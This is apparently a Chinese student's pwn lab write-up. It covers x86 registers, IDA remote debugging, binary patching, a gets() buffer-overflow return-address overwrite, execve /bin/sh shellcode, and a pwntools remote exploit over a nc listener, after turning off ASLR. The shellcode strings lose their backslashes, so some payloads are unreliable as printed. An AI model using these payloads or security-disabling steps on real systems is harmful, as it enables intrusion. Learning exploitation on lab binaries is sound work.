pwn入门学习(exp1)

常用汇编指令及寄存器的作用

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

  • J E:条件转移指令,如果相等则跳转。(机器码:74)

  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

  • EAX:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)

  • EBX:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。

  • ECX:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。

  • EDX:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。

  • ESI:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

  • EDI:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

  • EBP:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。

工具选择

  • kali2020:用于提供linux环境

  • python3:用于编写脚本辅助攻击

  • ida:用于查看和调试程序运行情况

场景实操

准备工作

root@zengyutao:~# execstack -s 20181221pwn3    //设置堆栈可执行
root@zengyutao:~# execstack -q 20181221pwn3    //查询文件的堆栈是否可执行
X 20181221pwn3
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
2
root@zengyutao:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
0

ida部分使用教程

  1. 确定程序是32位还是64位,选择相应的ida打开。如果是32位的程序使用了64位的ida打开,虽然可以看到反汇编代码,但是无法进行转化为伪代码的操作,会报错,示例如下。

  1. 按F5进行转换,查看程序伪代码,这样可以知道程序编写逻辑,同时查看是否有隐藏的函数。(本次实践中的程序在主函数中只调用了foo函数,隐藏了getShell函数,如图所示)

  2. 同时,我们可以还通过切换窗口视图来查看不同的窗口(反汇编窗口、伪代码窗口、十六进制窗口、结构窗口、函数窗口等),反汇编窗口中可以通过空格切换为图形视图和文字视图,同时,还可以下断点对程序进行调试。

  1. 如果想要让主机上的ida和虚拟机进行交互,需要进行部分配置。
  • 更改ida模式为“Remote Linux debugger"

image-20210310110413951

  • 查看虚拟机IP地址,并打开导航栏里的Debugger->Process options,修改配置。(红框内为需要输入的虚拟机IP地址)

image-20210310122401095

  • 打开ida文件夹里的dbgsrv文件夹,将对应的linux_server文件放到需要交互的虚拟机文件夹中。

image-20210310111106938

  • 本地打开需要调试的程序,下好断点后按F9开始调试,同时虚拟机中可以将payload发送过来。在调试中,F2下断点,F7单步步入,F8单步步过。

image-20210310112001780

image-20210310112013935

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

但该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法getshell。

1、直接修改程序机器指令,改变程序执行流程

首先,用ida打开程序pwn1,F5查看程序伪代码逻辑结构

image-20210310155710846

可以看到,main函数中的逻辑非常简单,调用foo函数,然后结束,我们再看看foo函数的逻辑。

image-20210310155823271

foo函数会获取用户输入,然后返回用户输出。此外,我们还发现了一个显眼的getshell函数。

image-20210310155953097

getShell函数为我们提供了一个可用shell。于是思路就出现了,我们可以通过修改main函数中调用foo函数的地址,使其跳转到getShell函数,即可完成攻击。所以我们要查看main函数和getShell的函数的机器码和地址。

image-20210310160430190

通过双击左侧函数列表分别查看foo函数和getshell函数的入口,我们发现,foo函数的入口地址为08048491,getShell函数的入口地址为0804847D。所以,我们只需要修改程序16进制值,将08048491替换为0804847D即可达成目的。

image-20210310161159136

image-20210310161238423

我们先选中main函数中关键的地址

image-20210310161417188

再查看16进制值,E8是跳转的机器码,我们想让它调用getShell,只要修改“d7ffffff”为,"0804847D-80484ba"对应的补码就行。

image-20210310161455534

最后,我们使用winhex工具,通过计算,将D7FFFFFF改为C3FFFFFF即可完成攻击。

image-20210310161829512

image-20210310161842844

2、通过构造输入参数,造成BOF攻击,改变程序执行流

根据刚刚我们查看foo函数伪代码,可以知道,这里存在缓冲区溢出的漏洞。

首先,函数定义了一个char型的s,然后通过gets函数将用户输入的数据存入s中,再输出s中的内容。而通常char分为无符号(unsigned)和有符号(signed)两种:

  • 无符号(unsigned)的取值范围:0~255;

  • 有符号(signed)的取值范围为:-128~127.

一般我们常用char来声明一个变量,编译器默认为有符号的,即范围为:-128~127。

具体缓冲区溢出攻击原理看博客:https://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

因此,我们只需要输入字节足够长的内容,就可以成功覆盖返回地址。通过计算,128/4=32,再加上返回地址,所以我们至少需要输入36个字符才能够到达返回地址。所以我们尝试输入”11111111222222223333333344444444haha“

image-20210310164322038

可以看到红框处,我们输入的”11111111222222223333333344444444“已经把缓冲区填充满了。然后选中的地方也可以发现,返回地址

也已经被我们输入的”haha"占据了。因此,我们只需要将haha替换为getShell函数的返回地址,就可以成功攻击了。

因此,我们只需要在脚本中修改一下payload的值,将haha替换为"x7dx84x04x08"即可。

image-20210310165020789

image-20210310165137549

这里贴上脚本,仅供参考:

from pwn import *

p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'x7dx84x04x08'
p.sendline(payload)
p.interactive()

3、尝试注入自己的shellcode并运行拿shell

首先,我们先打开一个空白文档,将汇编语言写到文档中,并保存为.asm文件

image-20210310170109474

global _start
_start:
mov eax,0 ;eax置0
mov edx,0 ;edx置0
push edx
push "/sh"
push "/bin"  ;将/bin/sh存入栈中
mov ebx,esp  ;ebx指向/bin/sh字符串
xor eax,eax
mov al,0Bh   ;eax置为execve函数中断号
int 80h

然后,我们用nasm编译,生成目标文件,再用gun ld来连接:

nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o

再提取机器码:

for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n ' '$i; done; echo

于是我们就得到了最终的shellcode

x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80

我们把这个shellcode添加到我们的脚本中,并运行

image-20210310171326669

可以看到,shellcode的地址在FFFFD1B0中,我们只需要将”61686168“也就是”haha“改成"xb0xd1xffxff"既可

image-20210310171528910

至此,使用填充字符法溢出缓冲区的攻击已经完成。下面附上脚本:

from pwn import *

p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'xb0xd1xffxffx31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80'
p.sendline(payload)
p.interactive()

那么,就有人问了,我如果不想填充那么多溢出缓冲区怎么办?也有办法

我们可以把我们的shellcode写到缓冲区内部,再使用NOP填充到返回地址并修改就好了。

我们还是使用上面的shellcode作为演示,这次我们的payload是:

x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90x8cxd1xffxff

由于char型缓冲区的长度为128,所以我们需要填充9个"x90"才能到达返回地址。

image-20210310175426677

不过这里有一个小细节需要注意,我们的shellcode长度不能太长,因为我们这时候已经快到EBX和ESP了。经过测试,我们shellcode的最大长度为24字节。

image-20210310174619180

最后附上脚本:

from pwn import *

p = process('./20181221pwn3')
payload = 'x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90x8cxd1xffxff'
p.sendline(payload)
p.interactive()

4、远程nc连接getshell

首先,在主机终端输入指令开启监听

nc -l -p 28234 -e ./20181221pwn3

image-20210315193658438

然后在另一台机上使用nc连接,这里我们直接使用pwn模组内置的remote函数进行连接。然后再直接通过脚本将shellcode传进去,就可以getshell了。

image-20210315195156273

最后贴上脚本:

from pwn import *

p = remote("192.168.211.137",28234)

test1shellcode = 'x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90xecxd1xffxff'

payload = test1shellcode

p.sendline(payload)

p.interactive()

心得体会

总的来说,这次实验比较基础,教会了我如何查看分析文件二进制。同时,对于汇编指令和机器码也有了更加深入的理解,能够自行编写shellcode。收获颇丰。

原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14508621.html